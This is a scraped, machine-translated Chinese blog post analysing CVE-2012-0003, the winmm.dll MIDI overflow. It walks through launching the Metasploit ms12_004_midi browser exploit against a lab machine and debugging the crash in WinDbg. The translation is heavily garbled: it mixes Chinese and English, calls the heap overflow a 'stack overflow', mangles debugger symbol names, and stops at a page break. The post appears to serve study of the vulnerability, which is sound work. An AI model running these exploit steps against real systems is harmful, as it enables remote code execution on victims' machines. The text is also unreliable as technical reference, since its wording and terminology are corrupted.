The vulnerability of the war of cve-2012-0003 study analysis-vulnerability warning-the black bar safety net

2016-12-10T00:00:00
ID MYHACK58:62201681939
Type myhack58
Reporter quanyechavshuo
Modified 2016-12-10T00:00:00

Description

这个 漏洞 是 由于 微软 的 多媒体 库 winmm.dll(c:\windows\system32\winmm.dll)in the processing of MIDI files, since the data of the improper handling causes the"stack overflow", the attacker can be embedded in a web page a special MIDI file to the remote execution of arbitrary code. 0x01 ready to work Using the msf exp: the msfconsole search cve-2012-0003 use exploit/windows/browser/ms12_004_midi set uripath test.html set payload windows/exec set cmd calc.exe server started http://192.168.118.129:8080/test.html 奇怪 的 是 在 系统 中 不 存在 test.html but access to the above generated network mA link does in the horse, and later view the msf exp:ms12_004_midi. rb, inside the generated html code is:

send_response(cli, html, {'Content-Type'=>'text/html'}) send_response function in msfapi has the following usage: msfapi_send_response That is the equivalent of the msf built-in webserver through the send_response function to send html code to the client to achieve the below with this link: http://192.168.118.129:8080/test.html This way is rather special, probably the msf web is ruby a similar python under the Django web framework for development. 0x02 debug analysis 打开 iexplore.exe, win+r:cmd:

gflags-i iexplore.exe +hpa Here, if in windbg set! gflag +hpa will not be successful, may be winxp or windbg questions windbg:f6 附加 iexplore.exe to: ! gflag 0:016> ! gflag Current NtGlobalFlag contents: 0x02000000 hpa - Place heap allocations at ends of pages g ie open: http://192.168.118.129:8080/test.html (180. 6f8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=16a7f019 edi=16a7cf60 eip=76b2d224 esp=3685fe80 ebp=3685fea0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 WINMM! midiOutPlayNextPolyEvent+0x1ec: 76b2d224 8a06 mov al,byte ptr [esi] ds:0023:16a7f019=?? To here only know 76b2d224 at a memory access exception, however, to want to write out the exp, you also need to figure out the parameter passing process,this"stack overflow"cve use is not DWORD SHOOT, but instead cleverly constructed html code to control the eip of the object, if it is the use of stack overflow,will generally be thought of in above to access the exception through to find a DWORD SHOOT the opportunity to override the exception processing related to the address of the function to control the eip, and to the controllable data is copied into memory after finding the heap allocation call. win+r:cmd: gflags-i iexplore.exe -hpa bu trying to start! midiOutPlayNextPolyEvent g ie open: http://192.168.118.129:8080/test.html Breakpoint 0 hit eax=00000000 ebx=ffffffff ecx=7ffdf000 edx=00216790 esi=00216780 edi=002167d8 eip=76b2d038 esp=0012e5b0 ebp=0012e5dc iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 WINMM! midiOutPlayNextPolyEvent: 76b2d038 8bff mov edi,edi In this case interrupt down,then look no+hpa case:trying to start! midiOutPlayNextPolyEvent+0x1ec will not access exception: bu trying to start! midiOutPlayNextPolyEvent+0x1ec g Breakpoint 0 hit eax=00000251 ebx=0000007f ecx=007f2399 edx=00000000 esi=046de111 edi=025cd4f0 eip=76b2d224 esp=0393fe80 ebp=0393fea0 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 WINMM! midiOutPlayNextPolyEvent+0x1ec: 76b2d224 8a06 mov al,byte ptr [esi] ds:0023:046de111=00 In this case interrupt down, see here[esi]with the above exception when accessing the[esi]are different, taking into account the Enable page heap is in a heap block after the increase specifically for detecting the overflow of the fence page, so that in the stack overflow touching the fence when the page is immediately trigger an exception, and+hpa and-hpa cases[esi]are different, should not because of the page heap caused by[esi]are different, guessing is due to trying to start! midiOutPlayNextPolyEvent+0x1ec to perform multi-pass, and just start performing to the WINMM! midiOutPlayNextPolyEvent+0x1ec, [esi]is to be accessed, just the msf set a good exp data later in a program execution to the WINMM! midiOutPlayNextPolyEvent+0x1ec, [esi]to produce a change, and in the+hpa, [esi]belongs to page the heap to increase the fence page address range was a result of the+hpa at a meeting of the Executive to the WINMM! midiOutPlayNextPolyEvent+0x1ec caused by access exception, in order to verify this idea, proceed as follows: close windbg, re-open ie, cmd:

[1] [2] [3] [4] [5] [6] [7] next